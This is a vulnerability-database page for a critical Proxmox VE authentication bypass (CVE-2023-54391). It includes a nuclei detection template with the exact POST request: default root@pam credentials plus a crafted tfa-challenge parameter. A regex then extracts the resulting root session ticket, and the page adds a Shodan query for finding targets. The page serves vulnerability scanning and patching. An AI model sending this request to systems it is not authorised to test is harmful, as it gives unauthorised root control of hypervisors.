Browse / CVEs / CVE-2023-54391
CVE-2023-54391
Proxmox VE - Default Credentials with TFA Bypass
criticalseverity
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
Detected Proxmox VE was accessible using default root@pam credentials combined with a TFA challenge bypass. An attacker could authenticate as root by submitting the default password "root@pam" along with a crafted tfa-challenge parameter, thereby bypassing two-factor authentication enforcement and gaining full administrative access to the hypervisor management interface.
Impact
Unauthenticated attackers can bypass authentication and gain unauthorized access, including root privileges.
Fix
Update to version 8.0.4 or later.
How to confirm it
Send: POST /api2/json/access/ticket
Positive when: contains "\"data\"" and "\"ticket\"" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2023-54391 -u <target>
The full check
id: CVE-2023-54391
info:
name: Proxmox VE - Default Credentials with TFA Bypass
author: DhiyaneshDk,0x_Akoko
severity: critical
description: |
Detected Proxmox VE was accessible using default root@pam credentials combined with a TFA challenge bypass. An attacker could authenticate as root by submitting the default password "root@pam" along with a crafted tfa-challenge parameter, thereby bypassing two-factor authentication enforcement and gaining full administrative access to the hypervisor management interface.
impact: |
Unauthenticated attackers can bypass authentication and gain unauthorized access, including root privileges.
remediation: |
Update to version 8.0.4 or later.
metadata:
verified: true
max-request: 1
shodan-query: title:"Proxmox"
tags: cve,cve2023,proxmox,auth-bypass,vuln,vkev
http:
- raw:
- |
POST /api2/json/access/ticket HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: application/json
username=root%40pam&password=root%40pam&tfa-challenge=NEBUSEC-CHALLENGE
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"data"'
- '"ticket"'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: ticket
part: body
regex:
- '"ticket"\s*:\s*"([^"]+)"'
group: 1Use this check only on systems you are authorised to test. Where the data comes from